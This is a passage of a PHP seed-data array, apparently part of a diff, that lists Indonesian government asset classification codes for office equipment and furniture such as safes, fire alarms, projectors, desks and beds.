KAYU', + ], + [ + 'id_aset' => 1752, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '007', + 'nama' => 'BRANDKAS', + ], + [ + 'id_aset' => 1753, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '008', + 'nama' => 'PETI UANG/CASH BOX/COIN BOX', + ], + [ + 'id_aset' => 1754, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '009', + 'nama' => 'KARDEX BESI', + ], + [ + 'id_aset' => 1755, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '010', + 'nama' => 'KARDEX KAYU', + ], + [ + 'id_aset' => 1756, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '011', + 'nama' => 'ROTARY FILLING', + ], + [ + 'id_aset' => 1757, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '012', + 'nama' => 'COMPACT ROLLING', + ], + [ + 'id_aset' => 1758, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '013', + 'nama' => 'BUFFET', + ], + [ + 'id_aset' => 1759, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '014', + 'nama' => 'MOBILE FILE', + ], + [ + 'id_aset' => 1760, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '015', + 'nama' => 'LOCKER', + ], + [ + 'id_aset' => 1761, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '016', + 'nama' => 'ROLL OPEK', + ], + [ + 'id_aset' => 1762, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '017', + 'nama' => 'TEMPAT MENYIMPAN GAMBAR', + ], + [ + 'id_aset' => 1763, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '018', + 'nama' => 'KONTAINER', + ], + [ + 'id_aset' => 1764, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '019', + 'nama' => 'COIN BOX', + ], + [ + 'id_aset' => 1765, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '020', + 'nama' => 'LEMARI DISPLAY', + ], + [ + 'id_aset' => 1766, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '021', + 'nama' => 'WATER PROOF BOX', + ], + [ + 'id_aset' => 1767, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '022', + 'nama' => 'FOLDING CONTAINER BOX', + ], + [ + 'id_aset' => 1768, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '023', + 'nama' => 'BOX TRUCK', + ], + [ + 'id_aset' => 1769, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '024', + 'nama' => 'LACI BOX', + ], + [ + 'id_aset' => 1770, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '025', + 'nama' => 'LEMARI KATALOG', + ], + [ + 'id_aset' => 1771, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENYIMPAN PERLENGKAPAN KANTOR LAINNYA', + ], + [ + 'id_aset' => 1772, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KANTOR LAINNYA', + ], + [ + 'id_aset' => 1773, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'TABUNG PEMADAM API', + ], + [ + 'id_aset' => 1774, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'HYDRANT', + ], + [ + 'id_aset' => 1775, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'SPRINKLER', + ], + [ + 'id_aset' => 1776, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'FIRE ALARM', + ], + [ + 'id_aset' => 1777, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '005', + 'nama' => 'RAMBU-RAMBU', + ], + [ + 'id_aset' => 1778, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '006', + 'nama' => 'NARKOTIK TEST', + ], + [ + 'id_aset' => 1779, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '007', + 'nama' => 'CCTV - CAMERA CONTROL TELEVISION SYSTEM', + ], + [ + 'id_aset' => 1780, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '008', + 'nama' => 'PAPAN VISUAL/PAPAN NAMA', + ], + [ + 'id_aset' => 1781, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '009', + 'nama' => 'MOVITEX BOARD', + ], + [ + 'id_aset' => 1782, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '010', + 'nama' => 'WHITE BOARD', + ], + [ + 'id_aset' => 1783, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '011', + 'nama' => 'ALAT DETEKTOR UANG PALSU', + ], + [ + 'id_aset' => 1784, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '012', + 'nama' => 'ALAT DETEKTOR BARANG TERLARANG/X RAY', + ], + [ + 'id_aset' => 1785, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '013', + 'nama' => 'COPY BOARD/ELEKTRIC WHITE BOARD', + ], + [ + 'id_aset' => 1786, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '014', + 'nama' => 'PETA', + ], + [ + 'id_aset' => 1787, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '015', + 'nama' => 'ALAT PENGHANCUR KERTAS', + ], + [ + 'id_aset' => 1788, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '016', + 'nama' => 'GLOBE', + ], + [ + 'id_aset' => 1789, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '017', + 'nama' => 'MESIN ABSENSI', + ], + [ + 'id_aset' => 1790, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '018', + 'nama' => 'DRY SEAL', + ], + [ + 'id_aset' => 1791, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '019', + 'nama' => 'FERGULATOR', + ], + [ + 'id_aset' => 1792, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '020', + 'nama' => 'CREAM POLISHER', + ], + [ + 'id_aset' => 1793, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '021', + 'nama' => 'MESIN PERANGKO', + ], + [ + 'id_aset' => 1794, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '022', + 'nama' => 'CHECK WRITER', + ], + [ + 'id_aset' => 1795, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '023', + 'nama' => 'NUMERATOR', + ], + [ + 'id_aset' => 1796, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '024', + 'nama' => 'ALAT PEMOTONG KERTAS', + ], + [ + 'id_aset' => 1797, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '025', + 'nama' => 'HEADMACHINE BESAR', + ], + [ + 'id_aset' => 1798, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '026', + 'nama' => 'PERFORATOR BESAR', + ], + [ + 'id_aset' => 1799, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '027', + 'nama' => 'ALAT PENCETAK LABEL', + ], + [ + 'id_aset' => 1800, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '028', + 'nama' => 'OVERHEAD PROJECTOR', + ], + [ + 'id_aset' => 1801, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '029', + 'nama' => 'HAND METAL DETECTOR', + ], + [ + 'id_aset' => 1802, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '030', + 'nama' => 'WALKMAN DETECTOR', + ], + [ + 'id_aset' => 1803, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '031', + 'nama' => 'PANEL PAMERAN', + ], + [ + 'id_aset' => 1804, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '032', + 'nama' => 'ALAT PENGAMAN / SINYAL', + ], + [ + 'id_aset' => 1805, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '033', + 'nama' => 'BOARD MODULUX', + ], + [ + 'id_aset' => 1806, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '034', + 'nama' => 'PORTO SAFE TRAVEL COSE', + ], + [ + 'id_aset' => 1807, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '035', + 'nama' => 'DISK PRIME', + ], + [ + 'id_aset' => 1808, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '036', + 'nama' => 'MEGASHOW', + ], + [ + 'id_aset' => 1809, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '037', + 'nama' => 'WHITE BOARD ELECTRONIC', + ], + [ + 'id_aset' => 1810, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '038', + 'nama' => 'LASER POINTER', + ], + [ + 'id_aset' => 1811, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '039', + 'nama' => 'DISPLAY', + ], + [ + 'id_aset' => 1812, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '040', + 'nama' => 'EXHAUSTER FORM', + ], + [ + 'id_aset' => 1813, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '041', + 'nama' => 'RUBU MUJAYYAB', + ], + [ + 'id_aset' => 1814, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '042', + 'nama' => 'ELECTRIC DUMPER', + ], + [ + 'id_aset' => 1815, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '043', + 'nama' => 'MESIN TERAAN', + ], + [ + 'id_aset' => 1816, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '044', + 'nama' => 'MESIN LAMINATING', + ], + [ + 'id_aset' => 1817, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '045', + 'nama' => 'PENANGKAL PETIR', + ], + [ + 'id_aset' => 1818, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '046', + 'nama' => 'STEMPEL TIMBUL/BULAT', + ], + [ + 'id_aset' => 1819, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '047', + 'nama' => 'LAMPU-LAMPU KRISTAL', + ], + [ + 'id_aset' => 1820, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '048', + 'nama' => 'LCD PROJECTOR/INFOCUS', + ], + [ + 'id_aset' => 1821, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '049', + 'nama' => 'FLIP CHART', + ], + [ + 'id_aset' => 1822, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '050', + 'nama' => 'BINDING MACHINE', + ], + [ + 'id_aset' => 1823, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '051', + 'nama' => 'SOFTBOARD', + ], + [ + 'id_aset' => 1824, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '052', + 'nama' => 'ALAT PEREKAM SUARA (VOICE PEN)', + ], + [ + 'id_aset' => 1825, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '053', + 'nama' => 'ACCES CONTROL SYSTEM', + ], + [ + 'id_aset' => 1826, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '054', + 'nama' => 'INTRUCTION DETECTOR', + ], + [ + 'id_aset' => 1827, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '055', + 'nama' => 'MONITOR PANEL WITH MIMIC BOARD', + ], + [ + 'id_aset' => 1828, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '056', + 'nama' => '\"PANIC BUTTON SYSTEM', + ], + [ + 'id_aset' => 1829, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '057', + 'nama' => 'PINTU ELEKTRIK (YANG MEMAKAI AKSES)', + ], + [ + 'id_aset' => 1830, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '058', + 'nama' => 'FOCUSING SCREEN/LAYAR LCD PROJECTOR', + ], + [ + 'id_aset' => 1831, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '059', + 'nama' => 'ALAT DETEKTOR BARANG TERLARANG', + ], + [ + 'id_aset' => 1832, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '060', + 'nama' => 'PROYECTOR SPIDER BRACKET', + ], + [ + 'id_aset' => 1833, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '061', + 'nama' => 'PAPAN GAMBAR', + ], + [ + 'id_aset' => 1834, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '062', + 'nama' => 'BEL', + ], + [ + 'id_aset' => 1835, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '063', + 'nama' => 'ELECTRIC PRESSING MACHINE', + ], + [ + 'id_aset' => 1836, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '064', + 'nama' => 'ENCAPSULATOR (JARASONIC WELDER)', + ], + [ + 'id_aset' => 1837, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '065', + 'nama' => 'DEACIDIFICATOR UNIT (NON AQUAS)', + ], + [ + 'id_aset' => 1838, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '066', + 'nama' => 'FULL AUTOMATIC LEAF CASTER', + ], + [ + 'id_aset' => 1839, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '067', + 'nama' => 'CONSERVATION TOOLS', + ], + [ + 'id_aset' => 1840, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '068', + 'nama' => 'BOARD STAN', + ], + [ + 'id_aset' => 1841, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '069', + 'nama' => 'VACUM FREEZE DRY CHAMBER', + ], + [ + 'id_aset' => 1842, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '070', + 'nama' => 'KOTAK SURAT', + ], + [ + 'id_aset' => 1843, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '071', + 'nama' => 'GEMBOK', + ], + [ + 'id_aset' => 1844, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '072', + 'nama' => 'COMPACT HAND PROJECTOR', + ], + [ + 'id_aset' => 1845, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '073', + 'nama' => 'ALAT SIDIK JARI', + ], + [ + 'id_aset' => 1846, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '074', + 'nama' => 'ALAT PENGHANCUR JARUM', + ], + [ + 'id_aset' => 1847, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '075', + 'nama' => 'WALKTHROUGH/ PORTAL METAL DETECTOR', + ], + [ + 'id_aset' => 1848, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '076', + 'nama' => 'HANDHELD TRACE DETECTOR', + ], + [ + 'id_aset' => 1849, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '077', + 'nama' => 'ALAT DETEKSI PITA CUKAI PALSU/ VIDEO SPECTRAL COMPARATOR', + ], + [ + 'id_aset' => 1850, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '078', + 'nama' => 'MESIN PACKING/ STARPPING MACHINE', + ], + [ + 'id_aset' => 1851, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '079', + 'nama' => 'TELEVISION CONTROL OPERASIONAL LIFT', + ], + [ + 'id_aset' => 1852, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '080', + 'nama' => 'MESIN ANTRIAN', + ], + [ + 'id_aset' => 1853, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '081', + 'nama' => 'PAPAN PENGUMUMAN', + ], + [ + 'id_aset' => 1854, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '082', + 'nama' => 'MESIN FOGGING', + ], + [ + 'id_aset' => 1855, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '083', + 'nama' => 'TERALIS', + ], + [ + 'id_aset' => 1856, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERKAKAS KANTOR LAINNYA', + ], + [ + 'id_aset' => 1857, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT KANTOR LAINNYA', + ], + [ + 'id_aset' => 1858, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT KANTOR LAINNYA', + ], + [ + 'id_aset' => 1859, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT RUMAH TANGGA', + ], + [ + 'id_aset' => 1860, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'MEUBELAIR', + ], + [ + 'id_aset' => 1861, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'MEJA KERJA BESI/METAL', + ], + [ + 'id_aset' => 1862, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'MEJA KERJA KAYU', + ], + [ + 'id_aset' => 1863, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'KURSI BESI/METAL', + ], + [ + 'id_aset' => 1864, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'KURSI KAYU', + ], + [ + 'id_aset' => 1865, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'SICE', + ], + [ + 'id_aset' => 1866, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'BANGKU PANJANG BESI/METAL', + ], + [ + 'id_aset' => 1867, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'BANGKU PANJANG KAYU', + ], + [ + 'id_aset' => 1868, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'MEJA RAPAT', + ], + [ + 'id_aset' => 1869, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'MEJA KOMPUTER', + ], + [ + 'id_aset' => 1870, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'TEMPAT TIDUR BESI', + ], + [ + 'id_aset' => 1871, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'TEMPAT TIDUR KAYU', + ], + [ + 'id_aset' => 1872, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '012', + 'nama' => 'MEJA KETIK', + ], + [ + 'id_aset' => 1873, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '013', + 'nama' => 'MEJA TELEPON', + ], + [ + 'id_aset' => 1874, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '014', + 'nama' => 'MEJA RESEPSIONIS', + ], + [ + 'id_aset' => 1875, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '015', + 'nama' => 'MEJA MARMER', + ], + [ + 'id_aset' => 1876, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '016', + 'nama' => 'KASUR/SPRING BED', + ], + [ + 'id_aset' => 1877, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '017', + 'nama' => 'SKETSEL', + ], + [ + 'id_aset' => 1878, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '018', + 'nama' => 'MEJA MAKAN BESI', + ], + [ + 'id_aset' => 1879, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '019', + 'nama' => 'MEJA MAKAN KAYU', + ], + [ + 'id_aset' => 1880, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '020', + 'nama' => 'KURSI FIBER GLAS/PLASTIK', + ], + [ + 'id_aset' => 1881, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '021', + 'nama' => 'POT BUNGA', + ], + [ + 'id_aset' => 1882, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '022', + 'nama' => 'PARTISI', + ], + [ + 'id_aset' => 1883, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '023', + 'nama' => 'PUBLIK ASTARI (PEMBATAS ANTRIAN)', + ], + [ + 'id_aset' => 1884, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '024', + 'nama' => 'RAK SEPATU ( ALMUNIUM )', + ], + [ + 'id_aset' => 1885, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '025', + 'nama' => 'GANTUNGAN JAS', + ], + [ + 'id_aset' => 1886, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '026', + 'nama' => 'NAKAS', + ], + [ + 'id_aset' => 1887, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '027', + 'nama' => 'CUBIKAL', + ], + [ + 'id_aset' => 1888, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '028', + 'nama' => 'WORKSTATION', + ], + [ + 'id_aset' => 1889, + 'golongan' => '3', + 'bidang' => '05', + 'kelompok' => '02', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' 